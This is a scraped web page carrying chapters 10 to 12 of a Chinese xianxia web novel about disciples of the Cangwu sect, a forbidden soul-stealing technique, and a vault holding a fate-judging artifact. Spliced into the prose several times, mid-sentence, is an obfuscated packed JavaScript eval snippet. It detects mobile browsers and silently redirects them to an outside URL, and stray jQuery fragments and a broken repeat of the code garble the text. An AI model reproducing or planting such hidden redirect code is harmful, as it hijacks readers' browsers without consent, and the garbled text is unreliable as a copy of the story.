慈济指着赴青阳的鼻子骂道,“苍梧山怎么偏偏出了你这种败类,这一身武功是让你用来欺负同门的?!在学堂学到的东西都进狗肚子里了?” “你应该庆幸掌门还没出关,否则就不止是百次戒尺这么容易了!让你一年都下不了床!” “老老实实在这儿反省半个月,没有我的命令,不许出阁一步!” 说罢拂袖愤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207784|181314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而去。 赴青阳抬起头,盯着面前慈悲的佛像,目光阴狠狰狞。 他用力握紧拳头,指尖已然渗出血色,浑身疼的发抖。 “宗、祭。” . 宗祭一身黑衣跪在蒲团上,双目微闭,双手搭在膝前,神情冷寂,跪立的背影看起来极为瘦削单薄。 兰烛探头探脑地从门后走进来,看着案台上最后一截即将燃尽的香灰。 三个时辰马上就要结束了。 在一旁负责监戒的师兄看见兰烛蹑手蹑脚地进门,也睁一只眼、闭一只眼,未说什么。 很快,香炉中的最后一根佛香也烧到了底。 那前来监戒的弟子开口道:“宗祭,三个时辰已满,你可以离开了。谨记今日之责,日后切勿再犯。” 说罢对兰烛行了一个礼,离开了宗祠。 宗祭在此罚跪了整个下午,双腿早已麻木失去知觉,起身的时候轻微踉跄了一下。 兰烛眼疾手快地过去扶了他一把,“小心……” “一下午都没吃东西,肯定饿坏了吧,我给你从后厨打包了一只刚出炉的烧鸡,现在还热气腾腾的呢。” 兰烛就近找了一处山中凉亭,把层层荷叶包裹的烤鸡拆开,撕下一只肥美多汁的鸡腿,用荷叶包着递给宗祭,“你尝尝。” 宗祭接过,淡淡道:“我不喜荤腥。” 兰烛意外的“啊”了一声,像是没想到有人竟然会不喜欢吃香喷喷的烧鸡,愣了愣道:“那等会我再去带你吃点别的……说起来,我好像真的一点都不了解你呢。” “你也不必了解我。”宗祭尝了一口,神色看不出喜恶,起身道,“我先回房了,还有门规没有抄完,告辞。” 兰烛看他离去的背影,思索片刻,把一只烧鸡快速解决掉,飞身掠下山。 已过酉时,天色已经大暗。 宗祭在房中点燃两盏油灯,悬腿坐于台前。 只是二十遍宗门戒律,不用一个晚上便能抄完了。 房中点了灯,兰烛知道他还没睡,直接推门走了进来。 宗祭抬眼。 兰烛冲他扬了扬手中的笔墨,“说好了跟你一起的。” 宗祭道:“下次罚二百遍的时候你再来也不迟。” 兰烛:“你还想着下次!” “难道还想再给大师兄来上一剑不成。” 宗祭意味不明地一笑,不置可否。 兰烛挽起袖子,趴在桌子上,努力奋笔疾书,唰唰唰就写满了一页纸。 只是他的字实在是…… 兰烛这一身书法不知师承何人,来日在江湖上应该能自成一种相当时髦抽象的流派。 宗祭瞥了他一眼,顿了顿:“你与我字迹不同,一看便会发现是两个人写的。” “没关系,慈济师叔知道我的字迹,” 兰烛十分胸有成竹,“不会揭穿我的。” 宗祭笔下动作一顿。 兰烛用嘴巴卷着毛笔,忽高忽低,“都跟你说过了,除了你以外,其他人都很喜欢我的。所以当然也会有一点点小小的特权啦。” 宗祭嘴唇微微动了动,沉默半晌,最后还是没有说什么。 房中很安静。 只有纸面偶尔细微摩挲的声响。 油灯中的蜡烛快要烧到了底,房中的光线也愈发黯淡,墙壁上映出两道相对而坐的影子。 宗祭抄完了最后一份门规,感觉兰烛已经一反常态的安静许久了,抬头向对面一望—— 兰烛已经趴在桌子上睡着了,几张宣纸被他压在脑袋下面,压的皱皱巴巴,脸颊上不知道什么时候沾了一点漆黑的油墨,在他的皮肤上显得格外分明。 宗祭的神色似乎有一刹那的迟缓。 他看了眼门外,又看了眼卧榻。 起身走到兰烛的身边。 10. 第十章 宗祭垂眼端详兰烛片刻,伸手捏住他的一点脸腮,指腹用力地擦了一下。 “啊疼疼疼、……” 兰烛半醒不醒地直起身,不满道,“谁啊……好痛……” 宗祭摊开指腹,语气冷冰冰道,“脸上沾到墨水了。” “啊……哦,”兰烛揉了揉眼睛,还有点恍惚,“我怎么睡着了……还差多少份?” 宗祭道:“已经写完了。” “写完啦?” “嗯,所以你可以走了。” 兰烛捧过桌子上的那堆宣纸数了数,果然已经有二十份了,他将所有的“作业”都收拾到一起,“那明日我便帮你交给慈济师叔,你早点休息!” “晚安!” 说罢便抱着怀里的一摞检讨离开了。 宗祭长身直立站在房中,轻轻摩挲手指,垂眼望着上面的一点墨色。 好像……真的一点脾气都没有。 眼中闪过极为浅薄的一分笑意,随即变为冰冷。 宗祭走到房中的一面墙壁前,手指按下机关,走进不为人知的暗阁。 他席地打坐,眉间一缕黑气溢出,继续修炼「换尸子」。 直至黑色的气息完全笼罩住他的身躯。 …… 忽然,宗祭睁开眼,双瞳中一闪而过的浓重猩红,一股无形的气流骤然自他周身爆发开来,整个暗室都微微震荡。 “!”睡梦中的兰烛倏然睁开了眼,瞬间从床上坐了起来。 他的呼吸很急,心脏跳的也极快,像是经历了某种梦魇。 兰烛赤着脚下床,快步走到窗边。 深夜寂静,月色朦胧,远处丛林间隐约传来几声夜莺的啼叫。 看起来静谧而安宁。 兰烛低头,心有余悸地皱皱眉:“方才那股力量……” “是我的错觉吗” “那种……阴冷又邪恶的感觉” “是什么。” 兰烛闭目掐诀,以灵息探查过山中的每一处角落,并未感知到什么异常。 “奇怪……” 他迟疑转身,又回到床上躺下了。 暗阁之中,宗祭的身影憧憧。 他抬手凝起一道内力,轰然一掌拍向面前的石桌。 只见那石桌先是纹丝未动,而后宛如沙堡塌陷一般,顷刻间碎成了无数粉末。 坚如磐石尚且如此,若换做是血肉之躯…… 宗祭眼皮低垂,神情睥睨,似好奇又有些陌生地端详着自己的手指。 忽而弯唇一笑。 他已经成功突破「换尸子」的第三重功法。 宗祭一步一步踏上暗阁的台阶。 大师兄…… 你可要藏好了。 . “兰烛……兰烛?” “小师弟!” 一位宗门弟子在兰烛面前挥了挥手,“发什么呆呢。” 兰烛回过神,“没什么。” “来一同练剑呀。” “不了,我还有些事,先不跟诸位师兄一起了。” 兰烛知道他此时心神不定,不适合修炼。 昨日那种诡异的力量,虽然只有短短的一瞬间,但兰烛觉得那并不是他的错觉。 苍梧山乃是灵气充沛之地,怎么会生出一股如此邪异而强大的气息。 兰烛心想:不知道父亲是否有所感知,待父亲出关,或许可以问一问他。 宗祭一袭蓝衣走在下山的长石阶上。 赴青阳这几日一直在被关在思过阁中禁闭,一时半刻,倒也见不着他。 这会儿是宗门修行时间,苍梧派的众多弟子们都聚集在一片场地空旷的广场上,或成群结队共同修习,或三三两两互相切磋剑法。 宗祭踏下最后一步台阶,走到广场附近,目光在诸位苍梧弟子的身上一一扫过。 突然,宗祭的目光一定。 他微微歪过头,森黑瞳孔中闪出一个人的身影。 淮婴。 ——赴青阳的同居室友,他的“左膀右臂”,从前跟赴青阳沆瀣一气的缺德事没少做。 这次赴青阳被代掌门惩处,东窗事发,才开始想着甩锅割席。 既然如此…… 宗祭一垂眼,微微转动手腕,一缕黑气自他的指尖无声无息冒出来,细丝般游动到淮婴的身边,自他的后脖颈钻了进去。 「换尸子」乃是苍梧山武学宝库中的一门禁术,其中功法运行的路数与苍梧派本门的心法完全相悖,越是练习,越会遭受反噬。 轻则武功尽废,重则走火入魔。 宗祭摩挲指尖,垂目弯唇一笑,轻轻道:“是死是活,看你自己的运气了。” 他转身欲走,目光无意一瞥,看到了梧桐树下的兰烛。 他穿着身颜色寡淡的月白色长袍,头发也没像从前那样用发冠吊成高马尾,只随意扎了根黄色发带,单脚支地倚在树干上,垂着脑袋,一副心事重重的样子。 宗祭心里浮起一丝怪异的感觉。 这兰烛…… 好像还从来没有见过他这副模样。 昨日自他房中离去时还好端端的,怎么一觉睡起来被鬼附身了似的。 宗祭只是心下觉得有些奇怪,并不想多管他的闲事,正要离开时,见到一人走到了兰烛的身旁。 “兰烛师弟。” 兰烛闻声抬眼。 ——跟他说话的人赫然是淮婴。 兰烛记得他也是在当日的比武大会上欺凌过宗祭的人,还故意把他的手打的都是红痕,跟赴青阳乃是一丘之貉,此时有些微厌恶:“有什么事吗?” 淮婴满面惭愧道:“宗门对大师兄的处置我们都已经知道了,从前在大师兄的身边,听从了他的挑唆,也做过许多不明是非的错事,心里实在是非常过意不去。” 兰烛道:“那你应该去跟宗祭道歉。” 淮婴见他完全不吃这套,神色有些尴尬,又找补道:“对、对对……这不是一直没有见到宗祭师弟吗,若是见到了,自然是会对他道歉的。” 兰烛奇怪:“你难道不知道他住在何处吗,若是想要道歉,直接去找他便是了。” 淮婴:“………” 他额头上不禁冒出了一点汗,“我是想去找他的……不过现下是修习时间,宗祭想必也不在房中,待晚上我便去跟他诚心道歉,将从前的误会都解释清楚。” “误会?”兰烛站直了身体,一双黑白分明的眼珠望着淮婴,并不同他客气,“何必将同流合污的霸凌说成是误会,你们对宗祭哪有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207785|181314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么误会,不过从来都是鄙夷与偏见而已。” 兰烛说话向来直白,他不喜欢那些弯弯绕绕的心思,一直是有什么便说什么,可能这便是传说中的“天然克绿茶”,淮婴脸上的笑几乎快要挂不住了。 此路不通,只能生硬地换个换题:“小师弟对宗祭好像格外关照……?” “跟宗祭有什么关系?是你们屡次欺人太甚。” 兰烛道,“换做是其他同门师兄,我同样不会袖手旁观。” “……”淮婴彻底无话可说。 兰烛看了眼手中的木剑,突然问道:“师兄要同我练剑吗?” 淮婴先是愣了下,而后忙不迭点头:“好啊!” 二人在一处角落分开站定。 宗祭在远处听不到他们在说什么,只看到这两个人来回说了几句话,又突然开始切磋了起来。 兰烛率先出手,势如闪电,用木剑在淮婴的手背上“啪”的拍了一下,淮婴只觉得手上一痛,手中的银剑直接脱手,“当啷”一声落地。 兰烛淡淡道:“师兄你看,有些伤到了自己的身上,也是会知道疼的。” “已所不欲,又何必施于旁人呢。” 淮婴这次沉默许久,半晌才开口:“师弟说的对,淮婴受教了。” 兰烛将他的剑捡起来,双手交还于他。 “既然如此,师兄来同我练剑吧。” 淮婴揉了揉被打红的手,重新打起精神。 兰烛如今的修为不在父亲横秋之下,同师兄们切磋,使用两三成的内力便已是绰绰有余。 只是甫一同淮婴交手,兰烛便察觉到了什么似的突地一皱眉,稍微提了些功力。 淮婴在他的攻法之下左支右绌,只得用出全力同兰烛周旋,看起来极为狼狈。 兰烛运气同他对掌,将淮婴一连击退了好几步。 “好!” “小师弟厉害!” “兰烛!再来!” 旁边看他们比试的师兄们纷纷鼓起了掌。 兰烛却是一脸凝重地大步走向了淮婴。 “方才与师兄交手,我发现师兄体内似有一股不寻常的邪祟之气。” 兰烛收剑而立,正色道:“师兄可否让我探一探气脉。” 淮婴本以为兰烛是给宗祭出气,所以才如此步步紧逼,此时听到兰烛的话,极为意外:“……邪祟之气?” 他半信半疑地将手臂伸了过去。 兰烛两指隔着衣服搭在他的手腕上,气息自淮婴体内游走。 不多时,果然自丹田处察觉到了一丝隐藏的邪气。 兰烛不禁皱眉:“这是……” 远处,本来抱臂懒洋洋靠在墙上的宗祭突然直起身,直勾勾盯着兰烛的动作。 只见兰烛一掌推入淮婴的灵台,少顷,几缕微不可见的黑色细丝自淮婴的头顶升腾散去。 兰烛道:“许是师兄不知在何处沾染了不祥之气,长久下去必成大患。” “幸而及早发现,已经无碍了。” 淮婴后知后觉,惊出了一身的冷汗。 “多、多谢小师弟!” 宗祭的瞳孔微微一缩。 心中冷冷道:“还是那么喜欢多管闲事。” 说罢头也不回转头离去。 11. 第十一章 哗啦、哗啦—— 一只白纸折成的纸蝴蝶自宗祭手中飞出,“扇动”了两下翅膀,便后继无力地落到了地上。 宗祭俯身将蝴蝶捡起,神色看起来颇有些阴晴不定。 兰烛的嗅觉太敏锐了。 不过只是一丝煞气,一个交手便被他发现了异常。 稍有半分差池,就会被兰烛发现他在修习门中禁术。 宗祭盯着那只纸蝴蝶,手指稍一用力,将蝴蝶的一对翅膀撕了下来,只留下残缺的躯干。 ……日后在兰烛面前,只能是那个手无缚鸡之力的“小师弟”。 献仙音别院。 兰烛抱着膝盖坐在院中石凳上,心不在焉地剥着一盘松果,将果仁放进嘴巴里。 前脚刚察觉到山中的不寻常,后脚就在淮婴师兄的体内探查到了一缕煞气。 ……是苍梧山当真有什么“不干净”的邪气,还是他想的太多了。 突然,兰烛神色一变:“yue——” 走神的时候不小心吃到了一个坏果子,又苦又涩又酸,还被他一口咬碎了,只能含泪咽下去,兰烛的整张脸都皱皱巴巴起来。 “呕——咳咳!” 兰烛接连喝了几口水,才把那一言难尽的味道压了下去。 他“呸呸”了两声。 “小师弟!小师弟……掌门出关了!” 横秋座下的弟子跑了进来,“如今在荻秋阁……” 话音未落,兰烛一溜烟就没影了。 “爹爹!” 荻秋阁的房门轻微晃动了一下,兰烛瞬身飞了进来,一头扑进了横秋的怀里。 他仰头开心道:“不是说一个月才能出关吗?您没事啦?” “是啊,已经完全无碍了。” “还要多亏你给爹爹传送的那些内力。”横秋摸摸他的脑袋。 兰烛道:“太好了!” 横秋跟他一同在高堂长椅座下,“听慈济说,你这些时日,跟宗祭走的很近。” 兰烛犹豫了一下,“嗯,最近……发生了很多事。” 横秋应该都已经知道了。 “宗祭是我带回山中看着长大的孩子,他的性格我是知道的,他自小便不合群,跟同龄人也都玩不到一起去。” “我原以为,即便宗祭性格孤僻怪异了些,日后求同存异便是。” 横秋语气不怒自威,“没想到闭关一年,倒是让一些人原形毕露。实在是我宗门之耻,慈济的处置还是太轻了些。” 兰烛没说话。 “所谓近朱者赤,”横秋道,“阿烛,你生性善良赤诚,希望宗祭在你的身边,能够感受到这些美好的情感,或许可以有所改变。” 兰烛轻声道:“他是我的小师弟,在宗门中又形单影只、受人欺凌,总归是能多照顾、便多照顾一些。” “不过,过几日……我可能就要下山了。” 兰烛抬眼:“爹爹不是说,待您出关,便要为我践行。” “不急,江湖凶险,表面上看起来风平浪静,可一旦踏进去,就是陷入了一片无尽的涡流。” “为父还有一些东西要为你准备。” 横秋起身道:“过几日,我打算开启后山武学宝库,想来已有两年未开了。” “到时,你便从中挑选几件护身法宝,来日踏入江湖,也可有法器傍身。” 兰烛眯眼笑道:“好啊,都说我们苍梧派的宝库里藏了许多宝贝,我还从来没有进去过呢。” “是啊,你十一岁那年便离开了苍梧山,一晃八年时间就过去了。”横秋道,“届时无论看中了什么宝器,为父都让你带走。” 兰烛又笑起来,并未多说什么。 横秋打量他片刻,问道:“怎么,今日怎么看着心不在焉的?是还有什么话想对为父说?” 兰烛略微有些迟疑地“嗯”了一声,犹豫片刻,他轻声询问道:“父亲昨日可有感受到山中出现一股非常的力量波动。” “那股力量非常短暂,但给我的感觉很不好……” “力量波动?” 横秋道:“没有。你可是察觉到了什么?” “嗯,那应该是一股极强的邪煞之气。”兰烛说,“但我后来又用灵息探查过整座苍梧山,并未发现什么异常,所以……不知是不是我的错觉。” “若是父亲没有任何感知,那应当是我多虑了。” 横秋道:“苍梧仙山灵气环绕,任何妖邪之气都与之相克,无法长存。” “即便偶有邪祟滋生,也不成气候,此事不必担忧。” 兰烛“嗯”了一声。 “阿烛,陪为父用膳吧。” “上次咱们爷俩一同用膳,你还是只有这么高的一个小娃娃呢。” “我现在已经长高很多了!” ……… 同父亲吃过晚膳,回房时刚好路过宗祭的别院,兰烛打算进去看看他。 刚好宗祭也没睡,在院中庭阁下站着,听到外面的响动,漫不经心看了兰烛一眼。 兰烛走过去:“小师弟,过几日,我便要离开苍梧山了。” 宗祭抬眼:“离开?” “嗯。” 兰烛解释:“我本就是为了入世才自蓬莱仙岛离开的。” “不过前几日师父刚好闭关,我等师父出关,所以在苍梧山逗留了半个多月。” “过几日就要离去了。” 宗祭一时无言,心中默默盘算: 待他跟赴青阳算完总账,也要寻一个借口离开师门。 他修行「换尸子」,在苍梧山待久了始终是隐患。 入世…… 宗祭对江湖上的事也完全没有任何兴趣。 未来便是找一处荒无人烟的地方,独自一人,自由来去,由生到死。 “你要照顾好自己呀。” 兰烛说,“我会经常写信给你的,要是又有人欺负……” 宗祭道:“不必。” “来日分道扬镳,你我便是陌路人,或许永远都不会再见了。” 兰烛:“………” 听到他这样说,兰烛不免有些伤心。 宗祭对他的态度还是这样冰冰冷冷的。 不过,好在能跟他语气正常的说几句话了…… 也算是,进步吧。 兰烛吸了下鼻子,“不写就不写吧,你能照顾好自己就好了。你说的对……或许来日各奔东西,此生便不会再见了。” 说完便低下头不说话了,长睫低垂轻颤,似乎是有些难过。 宗祭看了眼天色,想跟他说时候不早他应该回去了,不知为何张了张嘴,话到嘴边并未开口。 忽然,兰烛冷不丁道,“小师弟,跟我看一会儿月亮吧。” 他蜷缩起双腿,抱膝坐下,仰头望着穹顶一轮圆月。 点点繁星倒映在兰烛璀璨的眸中。 “即便以后天各一方,” “至少看到的会是同一个月亮呢。” 宗祭在他身旁,靠柱站立,一言未发。 兰烛转头看他一眼,拉着他的衣袖,让他坐了下来。 二人一起坐在小阁中,凝望着夜色。 “我以前听师兄说,天上的每一颗星星,都代表了一位仙神的命宿。那一颗特别亮的,是璇玑星,最北面那个亮闪闪的,是北辰星。” “不过据说有时候北辰星好像会突然从天上掉下来……” “还有那个……” 月亮西沉,声息渐消,一室静谧。 兰烛的脑袋渐渐低垂下去,就这样蜷缩着睡着了。 宗祭转眼望向他。 兰烛的下巴抵在臂弯里,脑袋微歪,细密修长的眼帘在鼻翼上垂落下一道极轻的阴影。 兰烛……其实并不像是跟他同岁的人。 脸庞看起来总有些稚气未脱的秀丽。 可能睡的姿势不太舒服,鼻腔里还发出几声模糊不清的哼哼声。 宗祭伸了伸手,指尖悬在半空,似是想把他叫醒,但又不知从何处下手。 最后只是脱下外衣,轻轻盖在了兰烛的身上。 次日,天光大亮。 院中响起“嗷”的一声惨叫。 “哎哟……!” “我的脖子……” “好痛,落枕了。”兰烛努力掰掰脑袋,颈椎关节处发出几声嘎巴嘎巴的声响。 一件衣服掉落在地上。 兰烛按了按脖颈后的肌肉,顿时倒吸一口冷气,酸胀的眼泪汪汪:“……就不能把我放平了睡吗。” 宗祭微不可见弯了下唇。 “我去用膳了,师兄再见。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207786|181314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 咕噜噜。 “好饿……我也要去吃饭!” “对啦,我带你去吃林娘做的透花糍,可好吃啦” . 掌门横秋出关后第三日,突然宣布即将开启后山武学宝库。 届时,所有门中弟子皆可从库中挑选一件法器,审核通过后方可带出,归于已有。 “听说,这次宝库是特意为兰烛开的,小师弟不是要下山入世了吗,所以掌门让他带上几件法器防身,”几个宗门弟子三三两两的走着,“咱们啊,就是跟着兰烛小师弟沾光。” “有就不错了,你管是跟谁沾光呢。” “就是,咱们掌门以前那个铁公鸡的德行,能给我们一人分一件宝器,多难得啊。” “嘘,小点声,不怕被掌门听见!” 轰隆隆—— 一道厚重的石壁向两侧拉开。 两道身影自门外进入。 所谓“武学宝库”,乃是苍梧后山一处巨大的天然洞窟。 山壁上镶嵌的夜明珠将洞窟内部映照的恍如白昼。 数百片石壁像是一道一道陈列架,间隔矗立在洞窟之中,石壁表面向内凹陷进去,每一“格”里都放着一件价值不菲的宝器。 乍一看琳琅满目。 兰烛刚走进来,就被这一大堆奇珍异宝晃花了眼。 “哇……” 兰烛睁大眼,小心摸了摸面前的石壁,冰冰凉凉的,滑不溜手。 横秋随手拿过几个葫芦瓶,放进兰烛手中拎的小箱子里,“阿烛,来日江湖凶险,各种功效的灵丹妙药都带上一些,以备不时之需。” 兰烛:“嗯嗯!” 药多不压身。 兰烛走入洞窟深处,目光扫过各种法宝,正眼花缭乱,突然看到不远处石壁里放着一件软甲,薄如蝉翼,几乎是一种完全透明的颜色。 下面刻了一行金色小字:“天蚕织,护身软甲,刀剑不入。” 兰烛伸手摸了摸那冰冰凉凉的天蚕织,心想:“这个,倒是可以送给宗祭……” “来日我不在他的身边,他也能够防身。” 兰烛转头说道:“爹爹,我想要这个。” “想要便拿去。” “爹爹说了,今日你想要带走什么,都可以拿去。” 兰烛便小心翼翼将那件天蚕织拿起来,以一层纱衣包裹着,放到小箱子里。 不多时,兰烛又看到了一个蓝色小方块一样的东西,似乎是由许多细小的方块组合拼装而成的。 兰烛好奇凑近,读出上面的字:“天地乾坤……” “爹爹,这是什么?” “听起来很厉害的样子。” 横秋走过来,拿起天地乾坤——那东西在横秋的手中竟然随意变大、变小。 “这是一个可以压缩空间的法器,天地之量,亦能变成方寸。” “只是此物的力量与使用者息息相关” “若是催动之人足够强大,山海皆可容纳其中。” “……原来如此。” 听起来是个“便携收纳袋”,兰烛对它并没有什么兴趣,便放了回去。 横秋这时又递过来一样东西,“阿烛,你将此物收下。” 兰烛拿过来一看……好像就是一个普普通通的小镜子。 “此物名为「镜水尘」,可映照出某个地方曾发生过的前尘旧事。” 兰烛不明所以眨眨眼:“这个……有什么作用吗?” “阿烛,以你如今的功力,江湖上罕少有人能够伤到你,” 横秋道,“只是,人心却是比风刀霜刃更狠毒的武器,足以杀人于无形。” “倘若有朝一日你不得不使用此物,便会明白为父这句话的意思。” “……”兰烛似懂非懂,乖乖将镜水尘收入囊中。 兰烛一路走过几十道石壁,碰到心中想要的,便都装进手边的小箱子里。 那箱子已经快装满了。 不过……兰烛觉得有些奇怪。 前方石壁的颜色,不知为何变成了红色,再往里,竟然还有几块纯黑色的石壁。 兰烛正要一脚踏进去,却听到横秋的声音—— “阿烛,不要过去。” “那边的东西,一件都不要触碰,都是极为危险的禁物。” 12. 第十二章 “……禁物?” 兰烛惊讶回身,“我们山门中竟然还有这种东西?” 八年前他离山的时候还很小,爹爹从未跟他说过这些。 “自然。” “世间能工巧匠也并非全然善类,既然有人能造出造福于世的法器,当然也会有人造出一些邪魔外道、为祸世间的东西。” “后者甚至往往更加‘天赋异凛’。” 兰烛道:“我可以看看吗?” 他竖起手指头保证:“就看看,绝不捣乱。” 横秋叹气:“走吧,为父同你一起。” 那些“禁物”,果然都是一些极为危险的法器,什么裂天锥、焚世雷,听起来就能毁灭世界,还有各种邪魔外道的邪术。 兰烛那是碰都不敢碰一下,缩着肩膀离这些危险东西都远一些。 “爹爹,为何这些石壁的颜色还有所不同?” 横秋解释道:“红色石壁中的,只是普通的禁物。” “而这些黑色石壁中的,是更为危险的禁物,是由苍梧派历代掌门亲自封存的。” 兰烛了然。 他的目光落到了一本武功秘籍上。 封存在黑色石壁中的二等禁术。 这秘籍看起来已经非常老旧了,像是不知什么年代流传下来的古籍。 兰烛看着封面上的文字,轻轻念道:“换…尸子……?” “这是一种取他人之功收为已用的邪术。”横秋道,“是从前江湖流传的一种功法,已封印在苍梧派数百年了。” “移花接木之法。”兰烛心想:不过倘若只是如此,应当不至于被称为“邪功”。 横秋又道:“不仅如此,这邪术会在潜移默化中影响修炼者的心绪,修为越发精进,七情便愈发淡漠,甚至逐渐无法控制自我——直至完全变成一个残酷嗜血、六亲不认的杀人机器。” 兰烛撇了撇嘴,“这种东西竟然才是二等禁物吗?” “那一等的禁物都有什么?” 横秋推开一面漆黑石门。 宗门中的一等禁物,只有非常小的一个宝盒。 兰烛眨了下眼,不由纳闷:这么一个小盒子……里面能装得下什么东西? 而且还是「一等」禁物。 兰烛问道:“爹爹,这里面是什么?” “里面是一件法器。” “从前的器名叫作「召天命」,”横秋缓缓道,“后来,它的主人遗弃了那个名字,改作「罪神之裁」。” 兰烛不明觉厉:“……听起来好厉害。” 横秋撤下石壁上的封印,将那盒子拿了出来,“它的危险性,其实比那边那些普通的禁物还要小许多,并不必然会伤人性命。” “之所以被视作一等禁物,只是因为里面封存着一个至少千年修行的器灵。” 兰烛:“千年器灵?” “传闻那器灵有预知的能力,可以「看到」某个人的一生,从始至终的全部罪孽。” “此一生若有功德,或罪业轻微,不予处罚。” “若犯下些许罪孽,便降下相对应的惩罚。” “倘若一生罪孽极为深重,则直接处死——” 横秋看向兰烛,“你以为,此物是否公平呢?” 兰烛想也没想道:“自然不公平。” “未来尚未发生的事,即为「变数」。” “怎么能用未知的罪来判定一个人现下的生死呢?” “倘若未来能够真心悔过,又或者悬崖勒马,不再造孽,岂不是无辜枉死。” 横秋听他答复,将盒子打开,似是有些伤怀地感叹道:“这本是渠水宗的镇阁之宝。” 渠水宗。 曾经叱咤一时的江湖名门,一朝突然没落,如今的江湖上,早已经听不到这个名字。 “从前,但凡想要加入渠水宗的弟子,都必须经过「召天命」的审判。” “所以,若非当真心境空明、不有一丝恶念,根本不敢在「召天命」中走一遭。” “当然,也有许多人自以为光明磊落,绝不会犯下任何罪孽,结果……丧命于此。” “而召天命最后一次使用,是用在一个刚出生的婴儿身上。” “那是渠水宗最后一任掌门刚出世的孩子。” 兰烛已经意识到了什么,神色轻微的变了变,目光看向那宝盒中那如同卷轴一样的东西。 禁物「召天命」静静躺在那里。 “渠水宗掌门与其妻子皆为名门正派、江湖豪杰,所以,二人认定他们的孩子来日必定有所作为、行无上功德,于是便将孩子送入召天命中,由召天命来观测他的一生。” “不想,那器灵却「看到」,这个婴孩来日必定犯下滔天罪孽,非死不得偿还。” “待那婴孩自召天命中被送出时,已变成一个毫无息的死婴。” “……这太荒谬了,”兰烛一脸匪夷所思,“一个刚出生的婴儿,根本没有触碰过这世间,善恶尚且不明,何错之有。” “且不说这器灵所谓的预言是真是假,根本无人知晓。” “即便当真如此,又怎知那婴孩不可教化、未来不可更改,为何……要直接剥夺他的性命呢。” “是啊,一个刚出世的婴孩何辜呢?” 横秋叹息道:“渠水宗掌门痛失幼子,自此封印召天命,改作「罪神之裁」。后将此物送于苍梧山封存,希望它永不再现世。” “而如今,此物已经封印在此近百年了。” 兰烛盯着「召天命」,片刻后突然道:“父亲,我想进去看一看。” “这所谓的千年器灵,究竟是何方神圣。” “也想要看看,它会给我的一生……做出怎样的陈词。” “不可玩笑!” 横秋“啪”的一声把盒子扣上了,“这器灵已存在千年,法力极为强大,万一出了什么差池,即便是为父都救不了你。” “爹爹不是说,若是此一生无罪孽,便不会发生任何事。” 兰烛微微一笑,“难道爹爹还怕这「罪神之裁」会审判我吗?” 横秋自然是不怕的,但他也绝不会让兰烛冒险,坚决反对道:“不怕一万,就怕万一!” 兰烛挑眉,手中“腾”的冒起一股冰蓝色的内力,他笑眯眯说:“爹爹是现在跟我一同查探。” “还是改天我偷偷溜进来一个人试一试呢。” 横秋:“………” 这小崽毛是长齐了。 他的封印,的确拦不住兰烛。 兰烛的神色不似玩笑,横秋再次确认道:“阿烛,此事非同小可,稍有不慎、便有性命之忧——你当真要试?” 兰烛道:“自然。” 横秋知道他意已决,不再阻拦:“那便试一试吧。为父相信你。” 「召天命」的卷轴徐徐展开,浮于空中,变成了一张两米多长的浅蓝色空白画卷,周身散发着一层微弱的盈光。 当真像是某种存在了千万年的神器。 兰烛伸手触碰画卷,随即整个人被吸了进去,瞬间消失在原地。 横秋在洞窟之中背着手来回踱步。 兰烛慢慢睁开眼。 ……好安静。 周身安静的不可思议,每一声呼吸都变得极为清晰。 仿佛到达了某种内心世界、一处独立于世的结界。 无声的虚空之中,那种被“注视”的感觉非常明显,仿佛有许多双眼睛在看着他。 “向前去。” “所见即你心。” 兰烛依照那道声音向前走。 穿过一片白皑皑的朦胧雾气,兰烛看到了一片红绿交错的莲池。 莲池中央,一位眉间朱红的佛手观音卧于莲上。 兰烛的神色浮现起轻微的诧异。 与此同时,空白画卷上逐渐显像。 正是那一副卧莲观音。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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…… 下午,在宗门几位长老的带领下,苍梧派弟子逐个进入武库,从中挑选一样宝物。 武库之中禁物众多,但凡对外开放皆是“重兵把守”,且每次只容许一位弟子进入,其他弟子须得在外排队等候。 穿着宗门校服的弟子们在山下排起长队,三三两两交头接耳聊天。 一道身影缓缓地走了上来。 “欸?那是……大师兄?” “大师兄怎么来了,他不是还在禁闭期吗?” “嘘,小声点” “说不定难得碰上一次大开宝库,所以师叔先让他出来了呢。” 